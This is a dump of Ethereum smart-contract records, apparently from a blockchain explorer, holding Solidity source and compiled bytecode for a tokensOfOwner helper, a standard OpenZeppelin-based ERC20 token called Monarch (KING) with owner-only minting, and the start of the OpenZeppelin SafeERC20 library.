tokensOfOwner(IERC721Supply _token, address _owner) external view returns(uint256[] memory ownerTokens) { uint256 tokenCount = _token.balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 totalTokens = _token.totalSupply(); uint256 resultIndex = 0; uint256 tokenId; for (tokenId = 1; tokenId <= totalTokens; tokenId++) { if (_token.ownerOf(tokenId) == _owner) { result[resultIndex] = tokenId; resultIndex++; } } return result; } } }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c8063cfe8f48714610030575b600080fd5b6100926004803603604081101561004657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506100e9565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156100d55780820151818401526020810190506100ba565b505050509050019250505060405180910390f35b606060008373ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561016a57600080fd5b505afa15801561017e573d6000803e3d6000fd5b505050506040513d602081101561019457600080fd5b81019080805190602001909291905050509050600081141561020057600067ffffffffffffffff811180156101c857600080fd5b506040519080825280602002602001820160405280156101f75781602001602082028036833780820191505090505b509150506103da565b60608167ffffffffffffffff8111801561021957600080fd5b506040519080825280602002602001820160405280156102485781602001602082028036833780820191505090505b50905060008573ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561029357600080fd5b505afa1580156102a7573d6000803e3d6000fd5b505050506040513d60208110156102bd57600080fd5b8101908080519060200190929190505050905060008090506000600190505b8281116103d1578673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16636352211e836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561034b57600080fd5b505afa15801561035f573d6000803e3d6000fd5b505050506040513d602081101561037557600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614156103c457808483815181106103af57fe5b60200260200101818152505081806001019250505b80806001019150506102dc565b83955050505050505b9291505056fea2646970667358221220849e91d3b15ee3af6290a9bcd5a784b810c990c3ad48574cc1058a01420cdae464736f6c63430006050033
[ 9 ]
0xF30F0a628e8C26DaD8AE5a4B1374431De9352c01
// File: @openzeppelin/contracts@4.1.0/access/Ownable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), currentAllowance - amount); _burn(account, amount); } } contract Monarch is ERC20, ERC20Burnable, Ownable { constructor() ERC20("Monarch", "KING") { _mint(msg.sender, 1000000 * 10 ** decimals()); } function mint(address to, uint256 amount) public onlyOwner { _mint(to, amount); } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146102a6578063a457c2d7146102c4578063a9059cbb146102f4578063dd62ed3e14610324578063f2fde38b146103545761010b565b806370a0823114610232578063715018a61461026257806379cc67901461026c5780638da5cb5b146102885761010b565b8063313ce567116100de578063313ce567146101ac57806339509351146101ca57806340c10f19146101fa57806342966c68146102165761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610370565b6040516101259190611ad7565b60405180910390f35b610148600480360381019061014391906114e5565b610402565b6040516101559190611abc565b60405180910390f35b610166610420565b6040516101739190611c99565b60405180910390f35b61019660048036038101906101919190611496565b61042a565b6040516101a39190611abc565b60405180910390f35b6101b461052b565b6040516101c19190611cb4565b60405180910390f35b6101e460048036038101906101df91906114e5565b610534565b6040516101f19190611abc565b60405180910390f35b610214600480360381019061020f91906114e5565b6105e0565b005b610230600480360381019061022b9190611521565b61066a565b005b61024c60048036038101906102479190611431565b61067e565b6040516102599190611c99565b60405180910390f35b61026a6106c6565b005b610286600480360381019061028191906114e5565b610803565b005b610290610887565b60405161029d9190611aa1565b60405180910390f35b6102ae6108b1565b6040516102bb9190611ad7565b60405180910390f35b6102de60048036038101906102d991906114e5565b610943565b6040516102eb9190611abc565b60405180910390f35b61030e600480360381019061030991906114e5565b610a37565b60405161031b9190611abc565b60405180910390f35b61033e6004803603810190610339919061145a565b610a55565b60405161034b9190611c99565b60405180910390f35b61036e60048036038101906103699190611431565b610adc565b005b60606003805461037f90611dfd565b80601f01602080910402602001604051908101604052809291908181526020018280546103ab90611dfd565b80156103f85780601f106103cd576101008083540402835291602001916103f8565b820191906000526020600020905b8154815290600101906020018083116103db57829003601f168201915b5050505050905090565b600061041661040f610c88565b8484610c90565b6001905092915050565b6000600254905090565b6000610437848484610e5b565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610482610c88565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610502576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f990611b99565b60405180910390fd5b61051f8561050e610c88565b858461051a9190611d41565b610c90565b60019150509392505050565b60006012905090565b60006105d6610541610c88565b84846001600061054f610c88565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105d19190611ceb565b610c90565b6001905092915050565b6105e8610c88565b73ffffffffffffffffffffffffffffffffffffffff16610606610887565b73ffffffffffffffffffffffffffffffffffffffff161461065c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065390611bb9565b60405180910390fd5b61066682826110da565b5050565b61067b610675610c88565b8261122e565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106ce610c88565b73ffffffffffffffffffffffffffffffffffffffff166106ec610887565b73ffffffffffffffffffffffffffffffffffffffff1614610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990611bb9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600061081683610811610c88565b610a55565b90508181101561085b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085290611bd9565b60405180910390fd5b61087883610867610c88565b84846108739190611d41565b610c90565b610882838361122e565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546108c090611dfd565b80601f01602080910402602001604051908101604052809291908181526020018280546108ec90611dfd565b80156109395780601f1061090e57610100808354040283529160200191610939565b820191906000526020600020905b81548152906001019060200180831161091c57829003601f168201915b5050505050905090565b60008060016000610952610c88565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0690611c59565b60405180910390fd5b610a2c610a1a610c88565b858584610a279190611d41565b610c90565b600191505092915050565b6000610a4b610a44610c88565b8484610e5b565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ae4610c88565b73ffffffffffffffffffffffffffffffffffffffff16610b02610887565b73ffffffffffffffffffffffffffffffffffffffff1614610b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4f90611bb9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbf90611b39565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf790611c39565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6790611b59565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e4e9190611c99565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ecb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec290611c19565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3290611af9565b60405180910390fd5b610f46838383611402565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc390611b79565b60405180910390fd5b8181610fd89190611d41565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110689190611ceb565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110cc9190611c99565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561114a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114190611c79565b60405180910390fd5b61115660008383611402565b80600260008282546111689190611ceb565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111bd9190611ceb565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112229190611c99565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561129e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129590611bf9565b60405180910390fd5b6112aa82600083611402565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611330576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132790611b19565b60405180910390fd5b818161133c9190611d41565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282546113909190611d41565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113f59190611c99565b60405180910390a3505050565b505050565b60008135905061141681611e9e565b92915050565b60008135905061142b81611eb5565b92915050565b60006020828403121561144357600080fd5b600061145184828501611407565b91505092915050565b6000806040838503121561146d57600080fd5b600061147b85828601611407565b925050602061148c85828601611407565b9150509250929050565b6000806000606084860312156114ab57600080fd5b60006114b986828701611407565b93505060206114ca86828701611407565b92505060406114db8682870161141c565b9150509250925092565b600080604083850312156114f857600080fd5b600061150685828601611407565b92505060206115178582860161141c565b9150509250929050565b60006020828403121561153357600080fd5b60006115418482850161141c565b91505092915050565b61155381611d75565b82525050565b61156281611d87565b82525050565b600061157382611ccf565b61157d8185611cda565b935061158d818560208601611dca565b61159681611e8d565b840191505092915050565b60006115ae602383611cda565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611614602283611cda565b91507f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061167a602683611cda565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006116e0602283611cda565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611746602683611cda565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006117ac602883611cda565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611812602083611cda565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611852602483611cda565b91507f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f7760008301527f616e6365000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006118b8602183611cda565b91507f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061191e602583611cda565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611984602483611cda565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006119ea602583611cda565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611a50601f83611cda565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b611a8c81611db3565b82525050565b611a9b81611dbd565b82525050565b6000602082019050611ab6600083018461154a565b92915050565b6000602082019050611ad16000830184611559565b92915050565b60006020820190508181036000830152611af18184611568565b905092915050565b60006020820190508181036000830152611b12816115a1565b9050919050565b60006020820190508181036000830152611b3281611607565b9050919050565b60006020820190508181036000830152611b528161166d565b9050919050565b60006020820190508181036000830152611b72816116d3565b9050919050565b60006020820190508181036000830152611b9281611739565b9050919050565b60006020820190508181036000830152611bb28161179f565b9050919050565b60006020820190508181036000830152611bd281611805565b9050919050565b60006020820190508181036000830152611bf281611845565b9050919050565b60006020820190508181036000830152611c12816118ab565b9050919050565b60006020820190508181036000830152611c3281611911565b9050919050565b60006020820190508181036000830152611c5281611977565b9050919050565b60006020820190508181036000830152611c72816119dd565b9050919050565b60006020820190508181036000830152611c9281611a43565b9050919050565b6000602082019050611cae6000830184611a83565b92915050565b6000602082019050611cc96000830184611a92565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611cf682611db3565b9150611d0183611db3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611d3657611d35611e2f565b5b828201905092915050565b6000611d4c82611db3565b9150611d5783611db3565b925082821015611d6a57611d69611e2f565b5b828203905092915050565b6000611d8082611d93565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611de8578082015181840152602081019050611dcd565b83811115611df7576000848401525b50505050565b60006002820490506001821680611e1557607f821691505b60208210811415611e2957611e28611e5e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611ea781611d75565b8114611eb257600080fd5b50565b611ebe81611db3565b8114611ec957600080fd5b5056fea2646970667358221220cf865fb9cfa4782798ea9488af5bd19b9b2efc5aa869bf0c5c965136b9e502f364736f6c63430008000033
[ 38 ]
0xf30f23B7FB233172A41b32f82D263c33a0c9F8c2
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on 